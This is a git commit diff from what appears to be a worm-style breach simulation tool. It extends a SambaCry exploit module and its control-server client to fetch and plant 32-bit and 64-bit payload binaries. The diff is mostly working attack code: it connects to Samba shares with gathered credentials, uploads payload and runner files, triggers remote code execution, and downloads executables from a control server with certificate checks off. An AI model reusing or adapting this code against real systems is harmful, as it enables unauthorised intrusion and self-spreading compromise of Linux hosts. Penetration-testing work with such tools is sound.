SambaCry now works for both 32,64bit

This commit is contained in:
Itay Mizeretz 2017-09-03 11:50:01 +03:00
parent c612ea0361
commit c8d7a2c4d3
3 changed files with 93 additions and 29 deletions

View File

@ -156,22 +156,50 @@ class ControlClient(object):
@staticmethod @staticmethod
def download_monkey_exe(host): def download_monkey_exe(host):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host(host)
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def download_monkey_exe_by_os(is_windows, is_32bit):
filename, size = ControlClient.get_monkey_exe_filename_and_size_by_host_dict(
ControlClient.spoof_host_os_info(is_windows, is_32bit))
if filename is None:
return None
return ControlClient.download_monkey_exe_by_filename(filename, size)
@staticmethod
def spoof_host_os_info(is_windows, is_32bit):
if is_windows:
os = "windows"
if is_32bit:
arc = "x86"
else:
arc = "amd64"
else:
os = "linux"
if is_32bit:
arc = "i686"
else:
arc = "x86_64"
return \
{
"os":
{
"type": os,
"machine": arc
}
}
@staticmethod
def download_monkey_exe_by_filename(filename, size):
if not WormConfiguration.current_server: if not WormConfiguration.current_server:
return None return None
try: try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host.as_dict()),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None
size = result_json.get('size')
dest_file = monkeyfs.virtual_path(filename) dest_file = monkeyfs.virtual_path(filename)
if monkeyfs.isfile(dest_file) and size == monkeyfs.getsize(dest_file): if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)):
return dest_file return dest_file
else: else:
download = requests.get("https://%s/api/monkey/download/%s" % download = requests.get("https://%s/api/monkey/download/%s" %
@ -191,7 +219,35 @@ class ControlClient(object):
LOG.warn("Error connecting to control server %s: %s", LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc) WormConfiguration.current_server, exc)
return None @staticmethod
def get_monkey_exe_filename_and_size_by_host(host):
return ControlClient.get_monkey_exe_filename_and_size_by_host_dict(host.as_dict())
@staticmethod
def get_monkey_exe_filename_and_size_by_host_dict(host_dict):
if not WormConfiguration.current_server:
return None, None
try:
reply = requests.post("https://%s/api/monkey/download" % (WormConfiguration.current_server,),
data=json.dumps(host_dict),
headers={'content-type': 'application/json'},
verify=False, proxies=ControlClient.proxies)
if 200 == reply.status_code:
result_json = reply.json()
filename = result_json.get('filename')
if not filename:
return None, None
size = result_json.get('size')
return filename, size
else:
return None, None
except Exception, exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)
return None, None
@staticmethod @staticmethod
def create_control_tunnel(): def create_control_tunnel():

View File

@ -18,7 +18,7 @@ import monkeyfs
from exploit import HostExploiter from exploit import HostExploiter
from model import DROPPER_ARG from model import DROPPER_ARG
from network.smbfinger import SMB_SERVICE from network.smbfinger import SMB_SERVICE
from tools import build_monkey_commandline from tools import build_monkey_commandline, get_target_monkey_by_os
__author__ = 'itay.mizeretz' __author__ = 'itay.mizeretz'
@ -30,12 +30,12 @@ class SambaCryExploiter(HostExploiter):
SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket: SambaCry exploit module, partially based on the following implementation by CORE Security Technologies' impacket:
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
""" """
# TODO: is this credit sufficient?
_target_os_type = ['linux'] _target_os_type = ['linux']
def __init__(self): def __init__(self):
self._config = __import__('config').WormConfiguration self._config = __import__('config').WormConfiguration
def exploit_host(self, host, depth=-1, src_path=None): def exploit_host(self, host, depth=-1, src_path=None):
if not self.is_vulnerable(host): if not self.is_vulnerable(host):
return False return False
@ -47,7 +47,7 @@ class SambaCryExploiter(HostExploiter):
host.services[SMB_SERVICE]["shares"] = {} host.services[SMB_SERVICE]["shares"] = {}
for share in writable_shares_creds_dict: for share in writable_shares_creds_dict:
host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]} host.services[SMB_SERVICE]["shares"][share] = {"creds": writable_shares_creds_dict[share]}
self.try_exploit_share(host, share, writable_shares_creds_dict[share], src_path, depth) self.try_exploit_share(host, share, writable_shares_creds_dict[share], depth)
# Wait for samba server to load .so, execute code and create result file. # Wait for samba server to load .so, execute code and create result file.
time.sleep(self._config.sambacry_trigger_timeout) time.sleep(self._config.sambacry_trigger_timeout)
@ -70,7 +70,7 @@ class SambaCryExploiter(HostExploiter):
LOG.info("No shares triggered successfully on host %s" % host.ip_addr) LOG.info("No shares triggered successfully on host %s" % host.ip_addr)
return False return False
def try_exploit_share(self, host, share, creds, monkey_bin_src_path, depth): def try_exploit_share(self, host, share, creds, depth):
""" """
Tries exploiting share Tries exploiting share
:param host: victim Host object :param host: victim Host object
@ -81,7 +81,7 @@ class SambaCryExploiter(HostExploiter):
""" """
try: try:
smb_client = self.connect_to_server(host.ip_addr, creds) smb_client = self.connect_to_server(host.ip_addr, creds)
self.upload_module(smb_client, host, share, monkey_bin_src_path, depth) self.upload_module(smb_client, host, share, depth)
self.trigger_module(smb_client, share) self.trigger_module(smb_client, share)
smb_client.close() smb_client.close()
except (impacket.smbconnection.SessionError, SessionError): except (impacket.smbconnection.SessionError, SessionError):
@ -238,7 +238,7 @@ class SambaCryExploiter(HostExploiter):
return writable return writable
def upload_module(self, smb_client, host, share, monkey_bin_src_path, depth): def upload_module(self, smb_client, host, share, depth):
""" """
Uploads the module and all relevant files to server Uploads the module and all relevant files to server
:param smb_client: smb client object :param smb_client: smb client object
@ -258,8 +258,13 @@ class SambaCryExploiter(HostExploiter):
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file: with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_runner_filename_64, monkey_runner_bin_file.read)
with monkeyfs.open(monkey_bin_src_path, "rb") as monkey_bin_file: monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
# TODO: Fix or postpone 32/64 architecture problem. monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read) smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
smb_client.disconnectTree(tree_id) smb_client.disconnectTree(tree_id)

View File

@ -442,6 +442,9 @@ def get_target_monkey(host):
return monkey_path return monkey_path
def get_target_monkey_by_os(is_windows, is_32bit):
from control import ControlClient
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
def build_monkey_commandline(target_host, depth, location=None): def build_monkey_commandline(target_host, depth, location=None):
from config import WormConfiguration, GUID from config import WormConfiguration, GUID